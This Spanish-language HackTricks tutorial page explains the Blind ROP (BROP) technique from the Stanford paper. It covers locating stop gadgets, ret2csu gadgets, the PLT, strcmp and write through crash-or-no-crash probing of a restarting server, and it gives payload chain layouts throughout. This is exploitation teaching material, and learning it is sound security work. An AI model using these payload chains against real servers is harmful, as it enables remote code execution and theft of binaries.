BROP - Blind Return Oriented Programming
Last updated
Last updated
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
El objetivo de este ataque es poder abusar de un ROP a través de un desbordamiento de búfer sin ninguna información sobre el binario vulnerable. Este ataque se basa en el siguiente escenario:
Una vulnerabilidad en la pila y conocimiento de cómo activarla.
Una aplicación de servidor que se reinicia después de un fallo.
Puedes encontrar más información sobre estos procesos aquí (BF Forked & Threaded Stack Canaries) y aquí (BF Addresses in the Stack).
Este gadget básicamente permite confirmar que algo interesante fue ejecutado por el gadget ROP porque la ejecución no falló. Usualmente, este gadget va a ser algo que detiene la ejecución y está posicionado al final de la cadena ROP al buscar gadgets ROP para confirmar que un gadget ROP específico fue ejecutado.
Esta técnica utiliza el gadget ret2csu. Y esto es porque si accedes a este gadget en medio de algunas instrucciones obtienes gadgets para controlar rsi
y rdi
:
Estos serían los gadgets:
pop rsi; pop r15; ret
pop rdi; ret
Nota cómo con esos gadgets es posible controlar 2 argumentos de una función a llamar.
Además, nota que el gadget ret2csu tiene una firma muy única porque va a estar sacando 6 registros de la pila. Así que enviando una cadena como:
'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP
Si el STOP es ejecutado, esto básicamente significa que se utilizó una dirección que está sacando 6 registros de la pila. O que la dirección utilizada también era una dirección STOP.
Para eliminar esta última opción, se ejecuta una nueva cadena como la siguiente y no debe ejecutar el gadget STOP para confirmar que el anterior sí sacó 6 registros:
'A' * offset + canary + rbp + ADDR
Conociendo la dirección del gadget ret2csu, es posible inferir la dirección de los gadgets para controlar rsi
y rdi
.
La tabla PLT se puede buscar desde 0x400000 o desde la dirección RIP filtrada de la pila (si se está utilizando PIE). Las entradas de la tabla están separadas por 16B (0x10B), y cuando se llama a una función el servidor no falla incluso si los argumentos no son correctos. Además, verificar la dirección de una entrada en el PLT + 6B tampoco falla ya que es el primer código ejecutado.
Por lo tanto, es posible encontrar la tabla PLT verificando los siguientes comportamientos:
'A' * offset + canary + rbp + ADDR + STOP
-> no falla
'A' * offset + canary + rbp + (ADDR + 0x6) + STOP
-> no falla
'A' * offset + canary + rbp + (ADDR + 0x10) + STOP
-> no falla
La función strcmp
establece el registro rdx
a la longitud de la cadena que se está comparando. Nota que rdx
es el tercer argumento y necesitamos que sea mayor que 0 para luego usar write
para filtrar el programa.
Es posible encontrar la ubicación de strcmp
en el PLT basado en su comportamiento utilizando el hecho de que ahora podemos controlar los 2 primeros argumentos de las funciones:
strcmp(<dirección no leíble>, <dirección no leíble>) -> falla
strcmp(<dirección no leíble>, <dirección leíble>) -> falla
strcmp(<dirección leíble>, <dirección no leíble>) -> falla
strcmp(<dirección leíble>, <dirección leíble>) -> no falla
Es posible verificar esto llamando a cada entrada de la tabla PLT o utilizando el camino lento de PLT que consiste básicamente en llamar a una entrada en la tabla PLT + 0xb (que llama a dlresolve
) seguido en la pila por el número de entrada que se desea sondear (comenzando en cero) para escanear todas las entradas PLT desde la primera:
strcmp(<dirección no leíble>, <dirección leíble>) -> falla
b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP
-> Fallará
strcmp(<dirección leíble>, <dirección no leíble>) -> falla
b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP
strcmp(<dirección leíble>, <dirección leíble>) -> no falla
b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP
Recuerda que:
BROP + 0x7 apunta a pop RSI; pop R15; ret;
BROP + 0x9 apunta a pop RDI; ret;
PLT + 0xb apunta a una llamada a dl_resolve.
Habiendo encontrado strcmp
, es posible establecer rdx
a un valor mayor que 0.
Nota que usualmente rdx
ya tendrá un valor mayor que 0, así que este paso podría no ser necesario.
Finalmente, se necesita un gadget que exfiltre datos para poder exfiltrar el binario. Y en este momento es posible controlar 2 argumentos y establecer rdx
mayor que 0.
Hay 3 funciones comunes que podrían ser abusadas para esto:
puts(data)
dprintf(fd, data)
write(fd, data, len(data)
Sin embargo, el documento original solo menciona la write
, así que hablemos de ella:
El problema actual es que no sabemos dónde está la función write dentro del PLT y no sabemos un número de fd para enviar los datos a nuestro socket.
Sin embargo, sabemos dónde está la tabla PLT y es posible encontrar write basado en su comportamiento. Y podemos crear varias conexiones con el servidor y usar un FD alto esperando que coincida con algunas de nuestras conexiones.
Firmas de comportamiento para encontrar esas funciones:
'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP
-> Si hay datos impresos, entonces se encontró puts
'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP
-> Si hay datos impresos, entonces se encontró dprintf
'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP
-> Si hay datos impresos, entonces se encontró write
Documento original: https://www.scs.stanford.edu/brop/bittau-brop.pdf
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)